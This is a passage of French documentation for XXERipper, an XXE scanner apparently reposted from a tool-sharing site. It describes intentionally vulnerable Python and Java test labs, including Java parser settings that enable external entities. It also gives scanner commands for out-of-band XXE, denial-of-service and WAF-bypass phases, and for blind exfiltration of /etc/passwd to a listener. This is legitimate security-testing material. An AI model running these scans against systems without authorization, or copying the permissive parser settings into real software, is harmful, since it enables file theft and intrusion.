    Un scanner correct rapporte [OK] sur les dix-sept. Toute détection sur ceux-ci est un bug du scanner, pas une vulnérabilité.

    Verdicts lisibles par machine

    Le lab expose GET /api/verdicts, une map JSON de "<method> <path>" vers l'une des valeurs "vuln", "safe" ou "fn" :```json { "POST /xml/vulnerable": "vuln", "POST /xml/safe": "safe", "POST /xml/silent": "fn", ... }

    root@kitploit:~
    C'est le point d'ancrage pour le scoring automatisé. Un harnais de test peut capturer les résultats du scanner par endpoint, les comparer à la carte de verdicts, et calculer la précision et le rappel sans analyser le HTML ni lire les métadonnées des endpoints.
    
    ### Lab Java — `xxe_lab.java````bash
    java xxe_lab.java
    # [*] Java XXE lab on http://127.0.0.1:5001
    

    Point de terminaison unique : POST /xml/error. Renvoie parsed ok en cas de succès, ou XML parse error: <message> en cas d'échec — correspondant à une application Java vulnérable qui journalise str(e).

    Le lab Java reste nécessaire pour la phase XXE basée sur les erreurs. libxml2 2.13 et versions ultérieures bloque l'accès aux DTD externes par défaut, donc XXE-ERROR-BASED-MALFORMED ne peut pas se déclencher contre le lab Python. Xerces autorise les entités de paramètre du sous-ensemble interne et déclenche la détection sans aucun DTD local. Le lab active explicitement les fonctionnalités nécessaires :```java dbf.setFeature("http://xml.org/sax/features/external-general-entities", true); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all"); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");

    root@kitploit:~
    > **Remarque :** `ACCESS_EXTERNAL_DTD = ""` (chaîne vide) signifie *tout refuser*, et non tout autoriser. Utilisez `"all"` pour un parseur permissif.
    
    ### Attaque par DTD locale — installer des DTD sur la cible
    
    `error_based_local_dtd` fonctionne en détournant une DTD qui existe déjà sur le système de fichiers de la cible. La liste de payloads du scanner référence environ 60 chemins courants, mais la technique ne peut pas se déclencher contre un système de fichiers où aucun d'entre eux n'est présent — et le scanner rapporte correctement l'absence de résultat dans ce cas.
    
    Installez les paquets DTD sur le même hôte exécutant le lab Python afin que la technique ait quelque chose à détourner :```bash
    # Fedora / RHEL / CentOS
    sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
    
    # Debian / Ubuntu
    sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
    
    # Arch / Manjaro
    sudo pacman -S docbook-xml docbook-xsl
    

    Windows fournit par défaut les DTD WMI (C:\Windows\System32\wbem\xml\) et les DTD Office (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll).

    macOS fournit par défaut /System/Library/DTDs/PropertyList.dtd et sdef.dtd.

    Une note sur libxml2 2.13+. Les versions modernes de libxml2 ont encore renforcé les règles : une DTD détournable doit déclarer l'entité paramètre par son nom, la référencer au niveau supérieur, et ne pas enchaîner vers des modules contenant des PE imbriquées interdites. Les fichiers docbookx.dtd de DocBook échouent sur les versions modernes de libxml2 car ils incluent dbcentx.mod, qui contient des PE imbriquées interdites. fonts.dtd s'analyse proprement mais ne déclare pas les entités que le scanner tente de détourner.

    C'est pourquoi le lab Java est l'environnement recommandé pour démontrer les XXE basées sur les erreurs.

    Exécution de la suite de tests complète

    Chaque exemple ci-dessous utilise http://127.0.0.1:5000. Pour exécuter les mêmes scans contre le lab via TLS, démarrez-le avec --autocert (ou --https pour réutiliser le certificat mis en cache) et pointez le scanner vers https://127.0.0.1:5000. Le scanner désactive la vérification TLS par défaut, donc aucun indicateur côté scanner n'est nécessaire — un certificat auto-signé fonctionne sans que --verify-tls soit désactivé.```bash python3 xxe_lab.py --autocert & xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache

    root@kitploit:~
    **Option A — OOB manuel.** Deux terminaux :
    
    **Terminal A** — démarrez le client OOB et notez le domaine de session :```bash
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    

    Terminal B — exécutez le lab et les scans :```bash

    Python lab, full coverage

    python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/vulnerable
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    --timing --unsafe --full-file-scan --no-fingerprint-cache

    False-positive checks — every one must print [OK]

    for p in safe safe-form safe-query safe-svg safe-saml safe-soap
    safe-multipart safe-docx safe-xinclude safe-xinclude-xml
    safe-xslt safe-xsd safe-xsd-import safe-pi
    noise stripped safe-metadata; do xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache done

    Java lab, error-based XXE

    java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache

    root@kitploit:~
    **Option B — OOB automatique.** Un terminal :```bash
    python3 xxe_lab.py &
    xxeripper http://127.0.0.1:5000/xml/vulnerable \
        --oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
    

    Option C — régression déterministe. Définissez XXE_LAB_MODE=scoped avant de démarrer le lab. Chaque requête hors périmètre renvoie un corps identique, de sorte que le veto de non-changement du scanner se déclenche de manière déterministe et que les résultats par endpoint sont reproductibles d'une exécution à l'autre. Définissez XXE_LAB_NOISE_SEED=1 pour rendre /xml/noise reproductible également.

    Option D — exfiltration. Pour exercer le chemin d'exfiltration aveugle de bout en bout :```bash python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
    --oob-auto
    --oob-listen 127.0.0.1:8888
    --oob-public-url http://127.0.0.1:8888
    --no-fingerprint-cache

    Loot tab should now show /etc/passwd with paste-ready snippets

    root@kitploit:~
    Dans l'interface WebUI : démarrez la console avec `--serve --host 0.0.0.0`, cochez **Serve DTDs from this WebUI** dans le tiroir, fournissez l'URL publique de l'interface WebUI, et le même chemin d'exfiltration fonctionne sans second processus.
    
    ### Interpréter les lacunes de couverture
    
    La liste des cibles ignorées par le scanner indique exactement ce qui n'a pas été testé. Passez le flag nommé pour activer une phase ignorée :```
    [!] 4 phase(s) skipped:
          - multipart_docx, svg  (no --svg and no upload-shaped URL)
          - dos  (no --unsafe)
          - saml_presig  (no SAML-shaped URL segment)
          - waf_bypass  (no --bypass-waf)
    
    Phase ignoréeActiver avec
    multipart_docx, svg--svg
    dos--unsafe
    timing--timing
    saml_presig--saml
    waf_bypass--bypass-waf
    Toute phase OOB--oob-domain ou --oob-auto
    Exfiltration aveugle--oob-auto plus --oob-listen / --oob-dtd-dir (ou le serveur hébergé par la WebUI)
    fingerprint(ne pas passer --no-fingerprint)
    — (changement de liste de fichiers)--full-file-scan

    Compilation, licence et crédits

    Compilation depuis les sources

    Prérequis : Python 3.9+, build et hatchling pour l'empaquetage Python ; makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild pour les paquets de distribution.

    CibleCommandeSortie
    Wheel et sdist Pythonmake builddist/*.whl, dist/*.tar.gz
    Debianmake debdist/xxeripper_*.deb
    RPMmake rpmdist/xxeripper-*.rpm
    Archmake archdist/xxeripper-*.pkg.tar.zst
    Toutmake allTout ce qui précède

    Licence

    XXERipper est un logiciel libre, distribué sous GNU General Public License v3 ou ultérieure. Distribué sans aucune garantie. Voir https://www.gnu.org/licenses/ pour plus de détails.

    Copyright (C) 2026 Kamal Khalilov.

    Avertissement

    XXERipper est destiné exclusivement à des tests de sécurité autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test. Un scan non autorisé peut enfreindre le CFAA (États-Unis), le Computer Misuse Act (Royaume-Uni), des lois similaires dans votre juridiction et les conditions d'utilisation des fournisseurs de cloud. Les auteurs ne sont pas responsables d'un usage abusif et fournissent cet outil à des fins éducatives et de tests de sécurité légitimes uniquement.

    La console web n'a aucune authentification et ne doit pas être exposée à des réseaux non fiables. Maintenez-la liée à 127.0.0.1 (valeur par défaut), ou placez-la derrière un reverse proxy authentifié.

    Crédits

    Auteur : Kamal Khalilov — @kamalx06 · [email protected]

    Remerciements : Interactsh par ProjectDiscovery · PortSwigger Web Security Academy · HackTricks · mohemiv (recherche sur les XXE basées sur les erreurs) · ShadowProbe (inspiration pour l'établissement de référence) · CWE par MITRE · SARIF par OASIS · la communauté open-source de la sécurité.

    Construit avec : Python · httpx · Flask · Hatchling · Interactsh · SARIF


    XXERipper
    Scannez plus intelligemment. Rapportez avec précision. Restez dans la légalité.

    GitHub • Issues • Releases • License

    Télécharger l’outil